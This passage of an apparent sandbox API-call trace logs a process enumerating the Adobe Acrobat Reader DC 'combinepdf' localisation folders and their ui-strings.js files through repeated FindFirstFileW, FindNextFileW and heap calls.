nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0277.073] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.073] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0277.073] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.073] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.073] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.074] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0277.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.092] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0277.092] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.092] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0277.092] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.092] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.092] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.093] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0277.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.093] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0277.093] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.093] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.093] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.093] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.093] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.093] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.094] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0277.094] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.094] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156f0 [0277.094] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.094] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.094] FindNextFileW (in: hFindFile=0x33156f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.094] FindClose (in: hFindFile=0x33156f0 | out: hFindFile=0x33156f0) returned 1 [0277.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.095] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0277.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\he-il\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315570 [0277.095] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.095] FindNextFileW (in: hFindFile=0x3315570, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0277.095] FindClose (in: hFindFile=0x3315570 | out: hFindFile=0x3315570) returned 1 [0277.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.095] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0277.095] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.095] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a70 [0277.095] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0x3315a70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.096] FindClose (in: hFindFile=0x3315a70 | out: hFindFile=0x3315a70) returned 1 [0277.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.096] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0277.096] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.096] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.096] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.096] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.097] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.097] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0277.097] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.097] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\it-it\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0277.097] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.097] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.097] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.097] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0277.097] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.097] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0277.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 